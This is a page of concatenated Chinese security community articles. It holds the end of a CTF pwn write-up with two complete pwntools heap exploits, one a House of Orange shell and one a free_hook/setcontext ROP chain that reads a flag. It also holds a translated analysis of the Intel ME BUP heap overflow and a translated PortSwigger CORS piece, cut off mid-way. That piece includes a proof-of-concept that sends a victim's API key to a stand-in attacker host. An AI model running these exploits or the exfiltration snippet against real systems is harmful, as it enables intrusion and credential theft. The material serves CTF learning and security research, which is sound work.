进入报错函数后将会进入system并以/bin/sh为参数，这注意#vtable ptr需要自行调试使其指向自身。
4.再次执行malloc即可getshell
**Exp**
#!/usr/bin/env python3
#-*- coding:utf-8 -*- from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
#elf = ELF('./EZheap')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")
#io = elf.process()
io = remote("47.108.195.119", 20141)
def ad(sz,na):
sla('away\n', '1')
sla('size of it', str(sz))
sla('Name?', na)
def md(sz, na):
sla('away\n', '2')
sla('size of it', str(sz))
sla('name', na)
def dp():
sla('away\n', '3')
def finish():
ia()
c()
def exploit():
li('exploit...')
io.sendlineafter(':', 'test_team')
io.sendlineafter(':', 'test_user')
io.recvline()
heap = io.recvuntil(b'\n',drop=True).ljust(8, b'\x00')
heap = int(heap,16)
print("heap",hex(heap))
ad(0x20,"aaaa")
ad(0xbd0+0x420,"aaaa")
ad(0x20,"bbbb")
md(0x40,b"A"*0x20 + p64(0) +p64(0xf81))
#gdb.attach(io)
ad(0x1000,"AAAA")
ad(0x40,"BBBBBBBB")
dp()
io.recvuntil("BBBBBBBB")
area = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 1514
malloc = area - 0x10
libc_base = malloc - libc.sym['__malloc_hook']
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
print("area ",hex(area))
print("malloc ",hex(malloc))
print("io_list_all ",hex(io_list_all))
print("system ",hex(system))
print("heap",hex(heap))
#gdb.attach(io)
payload = b'a' * 0x40
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap+0x1198) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
md(len(payload),payload)
#gdb.attach(io)
io.recvuntil("away\n")
io.sendline('1')
# gdb.attach(io)
#-------------------------------start
if __name__ == '__main__':
exploit()
finish()
## pwnsky
**思路**
取出程序中所有花指令，花指令在加密算法和add堆块函数中，使其F5能够反编译出正确的伪代码，先逆向流密码加密，很简单，只需把加密算法还原，就是解密算法了，然后接着就是进行普通堆利用了，去掉在add函数中只要满足data[0]
== "\x00"的话，那么就出现off by
one漏洞，通过该漏洞去实现一个堆块合并，修改__free_hook为setcontext的gadget，实现堆栈迁移，在堆中实现orw。
lua编译工具:<https://github.com/viruscamp/luadec>
**Exp**
#!/usr/bin/env python3
#-*- coding:utf-8 -*- from pwn import *
from sys import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#context(arch = 'amd64', os = 'linux', log_level='debug')
exeFile = "./pwn"
libFile = "./libc.so.6"
LOCAL = 0
LIBC = 1
XorTable = [
0xbe, 0xd1, 0x90, 0x88, 0x57, 0x00, 0xe9, 0x53, 0x10, 0xbd, 0x2a, 0x34, 0x51, 0x84, 0x07, 0xc4,
0x33, 0xc5, 0x3b, 0x53, 0x5f, 0xa8, 0x5d, 0x4b, 0x6d, 0x22, 0x63, 0x5d, 0x3c, 0xbd, 0x47, 0x6d,
0x22, 0x3f, 0x38, 0x4b, 0x7a, 0x4c, 0xb8, 0xcc, 0xb8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71,
0xb1, 0xc7, 0xa6, 0xd1, 0xa0, 0x48, 0x21, 0xc4, 0x1b, 0x0a, 0xad, 0xc9, 0xa5, 0xe6, 0x14, 0x18,
0xfc, 0x7b, 0x53, 0x59, 0x8b, 0x0d, 0x07, 0xcd, 0x07, 0xcc, 0xbc, 0xa5, 0xe0, 0x28, 0x0e, 0xf9,
0x31, 0xc8, 0xed, 0x78, 0xf4, 0x75, 0x60, 0x65, 0x52, 0xb4, 0xfb, 0xbf, 0xac, 0x6e, 0xea, 0x5d,
0xca, 0x0d, 0xb5, 0x66, 0xac, 0xba, 0x06, 0x30, 0x95, 0xf4, 0x96, 0x42, 0x7a, 0x7f, 0x58, 0x6d,
0x83, 0x8e, 0xf6, 0x61, 0x7c, 0x0e, 0xfd, 0x09, 0x6e, 0x42, 0x6b, 0x1e, 0xb9, 0x14, 0x22, 0xf6,
0x16, 0xd2, 0xd2, 0x60, 0x29, 0x23, 0x32, 0x9e, 0xb4, 0x82, 0xee, 0x58, 0x3a, 0x7d, 0x1f, 0x74,
0x98, 0x5d, 0x17, 0x64, 0xe4, 0x6f, 0xf5, 0xad, 0x94, 0xaa, 0x89, 0xe3, 0xbe, 0x98, 0x91, 0x38,
0x70, 0xec, 0x2f, 0x5e, 0x9f, 0xc9, 0xb1, 0x26, 0x3a, 0x64, 0x48, 0x13, 0xf1, 0x1a, 0xc5, 0xd5,
0xe5, 0x66, 0x11, 0x11, 0x3a, 0xaa, 0x79, 0x45, 0x42, 0xb4, 0x57, 0x9d, 0x3f, 0xbc, 0xa3, 0xaa,
0x98, 0x4e, 0x6b, 0x7a, 0x4a, 0x2f, 0x3e, 0x10, 0x7a, 0xc5, 0x33, 0x8d, 0xac, 0x0b, 0x79, 0x33,
0x5d, 0x09, 0xfc, 0x9d, 0x9b, 0xe5, 0x18, 0xcd, 0x1c, 0x7c, 0x8b, 0x0a, 0xa8, 0x95, 0x56, 0xcc,
0x4e, 0x34, 0x31, 0x33, 0xf5, 0xc1, 0xf5, 0x03, 0x0a, 0x4a, 0xb4, 0xd1, 0x90, 0xf1, 0x8f, 0x57,
0x20, 0x05, 0x0d, 0xa0, 0xcd, 0x82, 0xb3, 0x25, 0xd8, 0xd2, 0x20, 0xf3, 0xc5, 0x96, 0x35, 0x35,
]
def Encode(keys, data):
key_arr = []
raw_key = []
data_arr = []
for c in keys:
key_arr.append(c)
raw_key.append(c)
for c in data:
data_arr.append(c)
keys = key_arr
data = data_arr
for i in range(len(data)):
n = ((keys[i & 7] + keys[(i + 1) & 7]) * keys[(i + 2) & 7] + keys[(i + 3) & 7]) & 0xff
data[i] ^= n ^ XorTable[n]
keys[i & 7] = (n * 2 + 3) & 0xff
if((i & 0xf) == 0):
keys = KeyRandom(raw_key, XorTable[i & 0xff])
out = b''
for c in data:
out += c.to_bytes(1, byteorder='little')
return out
def KeyRandom(raw_key, seed):
out_key = []
for c in range(8):
out_key.append(0)
for i in range(8):
out_key[i] = (raw_key[i] ^ XorTable[raw_key[i]]) & 0xff;
out_key[i] ^= (seed + i) & 0xff;
return out_key
if(LOCAL == 0):
if(len(argv) < 3):
print('Usage: python2 ./exp.py [host] [port]')
exit(-1)
host = argv[1]
port = int(argv[2])
def add(size, text):
io.sendlineafter('$', 'add')
io.sendlineafter('?', str(size))
sleep(0.2)
io.send(text)
def delete(idx):
io.sendlineafter('$', 'del')
io.sendlineafter('?', str(idx))
def get(idx):
io.sendlineafter('$', 'get')
io.sendlineafter('?', str(idx))
def quit():
io.sendlineafter('$', 'exit')
def login(acc, pas):
io.sendlineafter('$', 'login')
io.sendlineafter(':', str(acc))
io.sendlineafter(':', str(pas))
def code(d):
a = 0
#--------------------------Exploit-------------------------- def exploit():
io.sendlineafter(':', 'team_test')
io.sendlineafter(':', 'i0gan')
#6b8b4567327b23c6
key = p64(0x6b8b4567327b23c6)
login(1000, 418894113)
add(0x320, '\n') # 0
add(0x320, '\n') # 1
delete(1)
delete(0)
add(0x320, '\n') # 0
get(0)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa
print('heap: ' + hex(heap))
delete(0)
add(0x500, '\n') # 0
add(0x500, '\n') # 1
delete(0)
add(0x500, '\n') # 0
get(0)
io.recvuntil('\n')
leak = u64(io.recv(6).ljust(8, b'\x00')) + 0x80 - 10
libc_base = leak - libc.sym['__malloc_hook'] - 0x10
print('leak: ' + hex(leak))
print('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + 0x25679
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
gadget = libc_base + 0x154930 # local
add(0x80, '\n') # 2
add(0x20, '\n') # 3
b = 3
j = 20
for i in range(b, j):
add(0x20, 'AAA\n')
for i in range(b + 10, j):
delete(i)
add(0x98, Encode(key, b'AAA') + b'\n') # 13
add(0x500, Encode(key, b'AAA') + b'\n') # 14
add(0xa0, 'AAA\n') # 15
add(0xa0, 'AAA\n') # 16
add(0xa0, 'AAA\n') # 17
delete(13)
delete(17)
delete(16)
delete(15)
# releak heap
add(0xa8, b'\n') # 13
get(13)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 - 0x90 # remote
#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local
delete(13)
p = b'\x00' + b'\x11' * 0x97
add(0x98, Encode(key, p) + b'\xc1') # 13
delete(14)
# 5c0
p = b'A' * 0x500
p += p64(0) + p64(0xb1)
p += p64(libc_base + libc.sym['__free_hook']) + p64(0)
add(0x5b0, Encode(key, p) + b'\n') # 14
# releak heap
add(0xa8, Encode(key, b"/bin/sh\x00") + b'\n') # 13
add(0xa8, Encode(key, p64(gadget)) + b'\n') # modify __free_hook as a gadget set rdi -> rdx
p = p64(1) + p64(heap) # set to rdx
p += p64(setcontext)
p = p.ljust(0x90, b'\x11')
p += p64(heap + 0xb0) # rsp
p += p64(ret) # rcx
rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rdx_r12) + p64(0) + p64(0)
rop += p64(libc_open)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(heap)
rop += p64(pop_rdx_r12) + p64(0x80) + p64(0)
rop += p64(libc_read)
rop += p64(pop_rdi) + p64(1)
rop += p64(libc_write)
rop += p64(pop_rdi) + p64(0)
rop += p64(libc_read)
p += rop
p += b'./sky_token\x00'
add(0x800, Encode(key, p) + b'\n') # 13
#print('heap: ' + hex(heap))
print('get flag...')
print('heap: ' + hex(heap))
#gdb.attach(io)
delete(17)
if __name__ == '__main__':
if LOCAL:
exe = ELF(exeFile)
if LIBC:
libc = ELF(libFile)
io = exe.process()
#io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()
else:
exe = ELF(exeFile)
io = remote(host, port)
if LIBC:
libc = ELF(libFile)
exploit()
io.interactive() | 社区文章 |
# 如何入侵一台已关机的电脑，或者在Intel ME中运行未签名的代码
##### 译文声明
本文是翻译文章，文章原作者 ptsecurity，文章来源：blog.ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2018/01/running-unsigned-code-in-intel-me.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在近期的欧洲黑帽黑客大会上，来自Positive Technologies公司的研究人员Mark Ermolov和Maxim
Goryachy跟大家介绍了英特尔管理引擎（Intel Management Engine
11）中存在的安全漏洞，而这个漏洞将允许攻击者访问目标主机中的绝大部分数据和进程。而更加重要的是，在这个漏洞的帮助下，一旦攻击者绕过了传统的基于软件的保护机制之后，他们将能够对已关机的电脑进行攻击。
## 一、 介绍
英特尔管理引擎（Intel
ME）是英特尔公司的专利技术，它由一个整合了平台控制器中心（PCH）和一系列内置周边设备的微控制器组成，PCH负责传输处理器和外部设备之间几乎所有的通信流量。因此，Intel
ME几乎能够访问计算机中所有的数据。如果攻击者能够在Intel ME上运行第三方代码的话，那么他们就能够完全入侵目标计算机。
我们可以看到，全世界现在有越来越多的研究人员开始关注Intel
ME的安全问题了。其中一个原因就是这个子系统正在向新的硬件架构（x86）以及软件平台（修改后的MINIX[1]）过度，而x86平台将允许研究人员利用二进制代码分析工具的全部功能。在此之前，固件分析相对来说是比较难的，因为Intel
ME早期的版本是基于一种ARCompact微控制器实现的，而这种控制器所提供的一系列指令相对来说也比较陌生。
在此之前，我们几乎是不可能对Intel ME
11进行分析的，因为可执行模块采用了Huffman代码（未知表）进行压缩。但是我们的研究团队成功地恢复了这些表，并且创建了一个专门用于解包镜像的实用工具[2]。
在对可执行模块进行解包之后，我们就可以对Intel ME的软件以及硬件内部结构进行研究了。而通过分析后我们发现，其实Intel ME并不像我们想象中的复杂。
### 1.1 Intel ME 11概述
关于Intel ME内部结构以及组件的内容可以从参考资料中[1]、[3]、[4]这三篇论文获取。
实际上从2015年开始，LMT处理器核心（x86指令集）就已经被整合到PCH之中了，而这种核心正用于Quark SOC之中：
英特尔所采用的很多现代技术都是围绕Intel ME开发的，比如说英特尔主动管理技术（Intel Active Management
Technology）、英特尔平台可信技术（Intel Platform Trust Technology）和英特尔软件保护扩展（Intel
Software Guard Extensions）等等。Intel
ME同样也是Intel启动防护功能信任机制的核心，而这个功能可以防止攻击者向UEFI注入恶意代码。Intel
ME基本上可以丝毫不受限制地访问计算机中的数据，而且还可以拦截并修改显卡的图像信息。这种功能也意味着，如果攻击者能够在Intel
ME中执行任意代码，那么他们就能够开发出一种全新的恶意软件，而这种恶意软件是无法被目前的安全检测工具所检测到的。幸运的是，在这项技术诞生至今的十七年里，只出现了三个公开的相关安全漏洞。
### 1.2 Intel ME公布的三个安全漏洞
#### 1.2.1 Ring-3 rootkits
第一个Intel ME安全漏洞公布于2009年，在当年的黑帽黑客大会上，Alexander Tereshkin以及Rafal
Wojtczuk曾进行了一次主题为”介绍Ring-3 Rootkits”的演讲，这种攻击需要向UMA内存的特定区域中注入代码。
研究被公布之后，英特尔引入了UMA保护机制。现在这块内存区域已经采用了AES加密，而且Intel
ME会在每一个内存页面中存储相应的校验和。当页面返回到Intel ME的主内存区域时，这个校验和将对这些页面进行检测。
#### 1.2.2 Zero-Touch
在2010年，Vassilios Ververis演示了一种针对Intel ME的攻击技术[10]，这种技术使用的是Zero-Touch模式（ZTC），而这项技术将能够绕过AMT认证。
#### 1.2.3 Silent Bob
在2017年5月，研究人员公布了一个存在于AMT认证系统中的安全漏洞（CVE-2017-5689）[11]，该漏洞将允许未经授权的用户获取目标系统（支持vPro技术）的完整访问权。
因此，总的来说目前只出现了一个允许攻击者在Intel ME内部执行任意代码的安全漏洞。
## 二、 潜在的攻击向量
Intel基本上都会对Intel ME所使用的数据进行签名，但Intel ME仍需要与用户进行一些交互：
-本地通信接口 (HECI)
-网络(vPro only)
-主机内存 (UMA)
-固件SPI布局
-内部文件系统
### 2.1 HECI
HECI是一种独立的PCI设备，它可以作为主系统与Intel ME之间数据交换的循环缓冲器。Intel
ME中的应用程序可以注册它们自己的HECI处理器，这样将会提升安全漏洞(CVE-2017-5711)的危险系数。在苹果电脑中，默认已禁用了HECI。
### 2.2 网络(vPro only)
AMT是一种大型模块，其中涉及到多种不同的网络协议。这个模块中包含了大量的遗留代码，并且现在有很多商业系统都在使用它。
### 2.3 针对SPI接口的硬件攻击
在研究Intel
ME的过程中，我突然想起也许可以使用SPI闪存模拟器来绕过签名验证机制。这种特殊的设备跟普通的SPI闪存看起来很像，但是它可以在每次访问时发送不同的数据。这也就意味着，如果一开始进行了签名检测然后再读写数据的话，攻击者就可以尝试向Intel
ME中注入代码了。
### 2.4 内部文件系统
Intel
ME使用了SPI闪存来作为主文件存储，这种文件系统的结构比较复杂[6]，而且很多特权进程都会将配置文件存储在这里。因此，文件系统肯定会是攻击者的主要目标之一。那么接下来，我们就要选择一个代码模块来寻找安全漏洞了。
### 2.5 选择模块进行分析
Intel ME操作系统实现了类Unix的访问控制模块，user-id、group-id、可访问硬件列表以及允许使用的系统调用都会根据每一个进程来进行静态规则设置：
分析后发现，只有少数系统进程可以加载并运行这些模块。其中一个就是能够生成子进程的BUP（BringUP），在对其进行了逆向分析之后，我们在负责进行设备初始化的函数中发现了一个堆缓冲区溢出漏洞。文件/home/bup/ct并没有被签名，因此我们就可以直接修改Intel
ME固件的版本信息了。现在，我们可以让BUP进程发生缓冲区溢出，但是在利用这个漏洞之前，还需要绕过堆缓冲区溢出保护机制。
### 2.6 绕过堆缓冲区溢出保护机制
Intel ME用于保护栈缓冲区溢出的实现如下：
1. 当进程被创建之后，一个32位值将会从硬件随机数生成器拷贝到一个特定区域（只读）；
2. 在函数开头，这个值会在返回地址之前拷贝到栈中（实现保护）；
在函数结尾，存储的值会跟已知的正确值进行对比，如果不匹配，则软件发生崩溃，并终止进程；
我们在研究过程中，发现bup_dfs_read_file函数会间接调用memcpy，并返回TLS结构的目的地址。需要注意的是，BUP的读/写函数会使用系统服务来访问共享内容。换句话来说，读取和写入功能可以通过共享内存机制来获取并记录数据。
调用memcpy函数：
从TLS获取地址：
在缓冲区溢出的场景下，这部分TLS区域是可以通过文件读取函数来重写的，而攻击者将能够通过这种方式来绕过缓冲区溢出保护。
### 2.7 线程本地存储
TLS的访问跟gs段寄存器有关，该结构如下所示：
其中，gs段是不可写入的，而且TLS结构本身位于栈底。因此，为了实现缓冲区溢出，我们需要重写TLS中的指针（指向SYSLIB_CTX），并生成新的结构。根据bup_dfs_read_file函数的工作机制，这将允许我们写入任意数据。
### 2.8 使用读取函数来获取任意写入原语
bup_dfs_read_file函数不仅可以从SPI闪存中读取数据，而且还可以在迭代过程中修改指针数据（指向SYSLIB_CTX）。而在下一次迭代过程中，sys_write_shared_mem函数将会提取出我们所创建的地址，并将其作为目的地址传递给memcpy。这样一来，我们就能够获取任意写入原语了。
bup_dfs_read_file的部分代码如下：
### 2.9 可能的漏洞利用向量
为了成功利用该漏洞，我们需要通过特殊的HMR-FPO消息向Intel
ME的特定区域写入访问数据[9]。攻击者可以利用BIOS漏洞来发送这种消息，或者直接利用操作系统来发送（Intel
ME处于制造模式下），或者通过DMA攻击。
如果下列条件叛族的话，攻击者甚至还可以远程利用该漏洞：
目标平台激活了AMT；
攻击者知道AMT管理员密码，或利用漏洞绕过了验证机制；
BIOS没有设置密码保护（或者攻击者知道密码）；
BIOS开启了ME区域的写入权限；
如果上述条件均满足，那攻击者将能够远程利用该漏洞并访问Intel ME中的数据。
### 2.10 CVE-2017-5705,6,7概述
这个漏洞分配到的编号为INTEL-SA-00086 (CVE-2017-5705, CVE-2017-5706,
CVE-2017-5707)，相关描述信息如下：
#### CVSSv3向量
`8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`
#### 受影响的产品[12]
`6th, 7th & 8th Generation Intel® Core™ Processor Family
Intel® Xeon® Processor E3-1200 v5 & v6 Product Family
Intel® Xeon® Processor Scalable Family
Intel® Xeon® Processor W Family
Intel® Atom® C3000 Processor Family
Apollo Lake Intel® Atom Processor E3900 series
Apollo Lake Intel® Pentium™
Celeron™ N and J series Processors`
## 总结
本文所介绍的漏洞将允许攻击者在Intel ME中运行任意代码，这种漏洞将会危及到多种英特尔技术的安全性。
我们希望本文的研究成果能够帮助更多感兴趣的研究人员了解Intel ME的安全现状。
## 参考资料
Dmitry Sklyarov, “Intel ME: The Way of the Static Analysis”, Troopers, 2017.
Intel ME 11.x Firmware Images Unpacker, github.com/ptresearch/unME11.
Xiaoyu Ruan, Platform Embedded Security Technology Revealed. Safeguarding the
Future of Computing with Intel Embedded Security and Management Engine,
Apress, ISBN 978-1-4302-6572-6, 2014.
Igor Skochinsky, “Intel ME Secrets. Hidden code in your chipset and how to
discover what exactly it does”, RECON, 2014.
Alexander Tereshkin, Rafal Wojtczuk, “Introducing Ring-3 Rootkits”, Black Hat
USA, 2009.
Dmitry Sklyarov, “Intel ME: flash file system explained”, Black Hat Europe,
2017.
Alex Matrosov, “Who Watch BIOS Watchers?”, 2017,
medium.com/[@matrosov](https://github.com/matrosov "@matrosov")/bypass-intel-boot-guard-cc05edfca3a9.
Mark Ermolov, Maxim Goryachy, “How to Become the Sole Owner of Your PC”,
PHDays VI, 2016, 2016.phdays.com/program/51879.
Vassilios Ververis, “Security Evaluation of Intel’s Active Management
Technology”, Sweden, TRITA-ICT-EX-2010:37, 2010.
Dmitriy Evdokimov, Alexander Ermolov, Maksim Malyutin, “Intel AMT Stealth
Breakthrough”, Black Hat USA, 2017.
Intel Management Engine Critical Firmware Update (Intel-SA-00086),
intel.com/sa-00086-support. | 社区文章 |
原文：<https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties>
本文内容摘自我在AppSec
USA大会上发表的演讲，准确来说，这里已经做了极大的简化。如果您有时间（或在阅读本文是遇到难以理解的内容）的话，我强烈建议您查看相应的[幻灯片](https://portswigger.net/knowledgebase/papers/exploitingcorsmisconfigurations.pdf
"幻灯片")和[视频](https://www.youtube.com/watch?v=wgkj4ZgxI4c&list=PLpr-xdpM8wG8RHOguwOZhUHkKiDeWpvFp&index=31 "视频")。
跨源资源共享（[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS
"CORS")）是一种放宽同源策略要求的机制，以使不同的网站可以通过浏览器进行通信。通常来说，人们普遍认为某些CORS配置是非常危险的，但具体到这些配置的细微差别及其含义，却很少有人能够正确理解。在这篇文章中，我将为读者展示如何从黑客的角度来批判性地检查CORS配置的漏洞，并利用它们来窃取比特币。
**黑客之于CORS**
* * *
网站可以通过发送以下HTTP响应头部来启用CORS：
Access-Control-Allow-Origin: https://example.com
这样的话，就允许访问指定的源（域，这里为“<https://example.com”）的浏览器向该网站发送跨域请求并读取响应——对于[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy>
"同源策略")来说，通常是不允许的。在默认情况下，发送跨域请求时不会携带cookie或其他凭据，因此，它不能用于窃取与用户相关的敏感信息（如CSRF令牌）。不过，网站服务器也可以使用以下头部来启用凭据传输：
Access-Control-Allow-Credentials：true
这样就能建立起信任关系：如果example.com上存在[XSS](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected "XSS")漏洞的话，对该网站来说，可能会带来巨大的危害。
**大隐隐于市**
* * *
如您所见，实现对单个域的信任是非常容易的事情。不过，如果需要信任多个域的话，那该怎么办呢？根据相关规范的建议，只需列出相关的域，并用空格加以分隔即可，例如：
**Access-Control-Allow-Origin：http：//foo.com<http://bar.net>**
* * *
但是，没有哪个浏览器真正支持这一特性。
当然，读者可能还希望使用通配符来信任所有子域，具体方法是：
Access-Control-Allow-Origin: *.portswigger.net
But that won't work either. The only wildcard origin is '*'
实际上，CORS自身也提供了一个隐蔽的安全措施。如果您想完全禁用SOP，并通过下面的头部组合将自己的网站暴露给所有人：
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
这时，将在浏览器控制台中收到以下错误消息：
“当凭证标志为true时，无法在Access-Control-Allow-Origin中使用通配符。”
规范中提到了这个异常，并且Mozilla的文档也提供了相应的[说明](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Requests_with_credentials "说明")：
“在响应凭证请求时，服务器必须指定域，并且不能使用通配符”
换句话说，使用通配符可以有效地禁用Allow-Credentials头部。
由于存在这些限制，所以，许多服务器都是以编程的方式根据用户提供的Origin头部值来生成“Access-Control-Allow-Origin”头部的。如果您发现了带有“Access-Control-*”头部却未声明相关域的HTTP响应的话，则强烈表明，该服务器是根据您的输入来生成头部的。而其他服务器只有收到包含Origin头部的请求后，才会发送CORS头部，这使得相关的漏洞非常容易被遗漏。
**凭证与比特币**
* * *
因此，许多网站都是从用户输入中获得允许跨源访问的域名的。那么，这会不会导致安全隐患呢？于是，我决定评估一些漏洞赏金网站并从中寻找答案。请注意，虽然这些网站都提供了漏洞赏金计划，但是，前面提到的漏洞还是被许多赏金猎人所遗漏了。
我很快就复现了[Evan Johnson](http://ejj.io/misconfigured-cors/ "Evan
Johnson")的发现，即许多应用程序在做出响应之前，并没有对源进行检查，同时，我还找到了一个易受攻击的比特币交易所（遗憾的是，该交易所不愿意公开其名称）：
GET /api/requestApiKey HTTP/1.1
Host: <redacted>
Origin: https://fiddle.jshell.net
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://fiddle.jshell.net
Access-Control-Allow-Credentials: true
{"[private API key]"}
与此同时，我还建立了一POC代码，用于证明窃取用户的私有API密钥是一件多么轻而易举的事情：
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
在获取用户的API密钥后，我可以禁用帐户的通知功能，启用2FA以将其锁定，并将其比特币转移到任意地址。由此看来，头部配置错误是一种非常严重的安全漏洞。当然，我还是克制住了将比特币收入囊中并跑路的冲动，并向该交易所提交了该漏洞，之后，他们仅用了20分钟就修复了该漏洞。
此外，对于一些网站来说，当对源进行验证以确定是否应该信任它时，常常会遇到经典的URL解析错误。例如，有一个网站，不妨称之为advisor.com，完全信任以advisor.com结尾的所有域名，包括“definitelynotadvisor.com”。更糟糕的是，第二个比特币交易所（我们称之为btc.net）信任所有以“<https://btc.net”开头的域名，包括“https://btc.net.evil.net”。不幸的是，我还没有来得及构建POC，这个网站就突然永久性地停止了运营。当然，我也懒得去了解到底是咋回事。>
**当Origin的值为null**
* * *
如果您对上面的内容非常关注的话，很可能想知道什么情况下[Origin的值为null](https://www.w3.org/TR/cors/#access-control-allow-origin-response-header
"Origin的值为null")。按照相关规范的说法，重定向会触发这种情况，此外，根据stackoverflow上的某些帖子来看，本地HTML文件也可能导致这种情况。也许是由于这种情况与本地文件有关，我发现有不少网站将其列入了白名单，包括Google的PDF阅读器：
GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
此外，还包括第三个比特币交易所。这对攻击者来说再好不过了，因为任何网站都可以通过沙箱化的iframe轻松获得值为null的域:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>’></iframe>
使用一系列CORS请求，攻击者就可以窃取用户钱包的加密备份，然后立即展开离线蛮力破解，就能得到该钱包的密码了。如果用户的密码强度不高的话，他们的比特币就会轻而易举地被攻击者收入囊中。
更加要命的是，这种特殊的错误配置非常常见——只要你肯找，就肯定能[找到](https://www.shodan.io/search?query=%22Access-Control-Allow-Origin%3A+null%22
"找到")。实际上，选用"null"关键字本身就注定要出问题，因为在某些应用程序中，如果没有配置源白名单，可能会导致……
Access-Control-Allow-Origin: null
哎……
**干掉HTTPS**
* * *
在这项研究中，我还发现了另外两个流行的白名单实现漏洞，并且这些漏洞通常都是伴生的。其中，第一个漏洞是轻率地将所有子域都列入白名单——甚至包括根本就不存在的子域。许多公司的子域名都会指向由第三方托管的应用程序，而这些应用程序的安全性一般都很糟糕。如果天真地相信这些程序中没有XSS漏洞，并且将来也不会有的话，那么，只能说有这种想法的人真是活该倒霉。
第二个常见漏洞是无法限制源协议。如果一个网站是通过HTTPS访问的，同时还乐于接受来自“<http://wherever”的CORS交互的话，那么攻击者一旦发起主动中间人（MITM）攻击，那么就几乎可以完全绕过该站点的HTTPS。并且，HTTP>
Strict Transport
Security功能和cookie的secure属性在防止这种攻击方面，几乎没有任何作用。对于这种攻击的具体演示，请参阅我的演讲文稿。
**滥用未启用凭证的CORS**
* * *
我们已经看到，启用凭证后，CORS可能非常危险。如果没有凭证，许多攻击将变得无关痛痒；这意味着，您不能使用用户的cookie，这样的话，让用户的浏览器发送请求，与自己发送请求一样，根本无法获得更多的优势。即使是令牌固定攻击也是行不通的，因为浏览器会忽略对cookie进行的任何重设。
一个值得注意的例外情况是，当受害者的网络位置作为一种身份验证的时候。这种情况下，您可以使用受害者的浏览器作为代理，来绕过基于IP的身份验证来访问Intranet应用程序。就危害程度而言，这种漏洞与DNS重新绑定类似，但要利用过程要更加繁琐。
**Vary: origin**
* * *
如果您考察CORS规范中的“实现注意事项”部分，就会发现，它让开发人员在动态生成Access-Control-Allow-Origin头部时，同时指定“Vary：Origin”HTTP头部。
这听起来可能很简单，但是包括W3C本身在内的很多人都忘了下面这句精彩的[名言](https://lists.w3.org/Archives/Public/public-webappsec/2016Jun/0057.html "名言")：
我必须说，即使W3C都没能正确配置其服务器，所以，我很难相信很快会有更多网站支持CORS。
- RetoGmür
如果我们忽视这个建议，会怎样呢？大多数情况下，人们就是这样做的。然而，在适当的情况下，它可能导致一些相当严重的攻击。
**客户端缓存中毒**
* * *
有时候，我们会遇到含有反射型XSS漏洞的页面，并且该漏洞位于自定义HTTP头部中。假设该网页并没有对响应该自定义头部的内容进行编码：
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert(1)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert(1)>
如果不借助CORS的话，该漏洞是无法利用的，因为没有办法让某人的浏览器跨域发送X-User-id头部。使用CORS后，我们就可以让他们发送这种请求。当然，就其本身来说，这是无用的，因为包含我们注入的JavaScript的响应是不会被呈现的。但是，如果未指定Vary：Origin的话，那么，该响应可以存储到浏览器的缓存中，并在浏览器导航到相关的URL时立即显示。我已经创建了一个fiddle，用来演示[对您选择的URL进行攻击](https://jsfiddle.net/3gk8u8wu/3/
"对您选择的URL进行攻击")。由于这种攻击使用了客户端缓存，因此，它非常可靠。
**服务器端缓存中毒**
* * *
